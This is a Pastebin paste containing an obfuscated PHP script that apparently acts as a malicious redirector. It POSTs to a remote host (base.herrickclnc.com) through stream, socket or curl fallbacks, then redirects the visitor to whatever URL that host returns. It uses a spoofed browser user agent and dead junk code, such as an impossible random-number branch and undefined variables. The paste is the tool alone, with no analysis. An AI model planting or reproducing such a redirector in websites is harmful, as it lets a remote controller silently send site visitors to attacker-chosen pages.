Advertisement
AndreyKlipikov

Lol 3

Dec 29th, 2013
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.22 KB | None | 0 0
  1. <?
  2. function bd($i){
  3.     $a = Array('0ADMIN_REDIR_URL', '1http://base.herrickclnc.com/b/rd.txt', '2Location: ','3allow_url_fopen', '4host','5host','6path','7curl_init','8http', '9method', '10POST', '11header', '12Content-Type: application/x-www-form-urlencoded', '13', '14content', '15vpectvscokcrxvnm', '16lrirz','17POST ', '18  HTTP/1.0', '19User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3','20Accept: */*','21Accept-Language: en-us,en;q=0.5', '22Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7', '23Content-Length: ', '24', '25', '26');
  4.    
  5.     return $a[$i];
  6. }
  7. ?>
  8. <?php
  9.     define('ADMIN_REDIR_URL', 'http://base.herrickclnc.com/b/rd.txt');
  10.     $_1 = checking($_2);
  11.     header('Location: ' . $_1);
  12.    
  13.     function checking($_3){
  14.         if (ini_get('allow_url_fopen')) {
  15.             return f_stream($_3);
  16.         } else {
  17.             $_4 = parse_url(ADMIN_REDIR_URL);
  18.             if ($_5 = @fsockopen($_4['host'], 80, $_6, $_7, 15)) {
  19.                 return l__2($_5, $_4['host'], $_4['path'], $_3);
  20.             } elseif (@function_exists('curl_init')) {
  21.                 return f_curl($_3);
  22.             }
  23.         }
  24.     }
  25.    
  26.     function f_stream($tmp){
  27.         $_8 = stream_context_create(
  28.             array(
  29.                 'http' => array(
  30.                     'method' => 'POST',
  31.                     'header' => 'Content-Type: application/x-www-form-urlencoded',
  32.                     'content' => $tmp
  33.                 )
  34.             )
  35.         );
  36.        
  37.         //mssql_query($_9);
  38.         return file_get_contents(ADMIN_REDIR_URL, false, $_8);
  39.     }
  40.    
  41.     function l__2($_5, $_11, $_12, $_2){
  42.         fputs($_5, "POST " . $_12 . " HTTP/1.0\r\nHost: $_11\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\r\nAccept: */*\r\n Accept-Language: en-us,en;q=0.5\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: " . strlen($_2) . "\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n$_2");
  43.         $_13 = "\r";
  44.        
  45.         while($_9 = fread($_5, 4096)) {
  46.             $_13 .= $_9;
  47.         }
  48.        
  49.         fclose($_5);
  50.         return $_13;
  51.     }
  52.    
  53.     function f_curl($_2){
  54.         $_15 = curl_init(ADMIN_REDIR_URL);
  55.         curl_setopt($_15,42, FALSE);
  56.         curl_setopt($_15,19913, TRUE);
  57.         $_16 = 2960;
  58.         curl_setopt($_15,13, 15);
  59.         curl_setopt($_15,10015,$_2);
  60.         $_17 = curl_exec($_15);
  61.         if (7578 < mt_rand( 3057, 4516))
  62.             nl2br($_7, $_14, $_3);
  63.         curl_close($_15);
  64.         return $_17;
  65.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement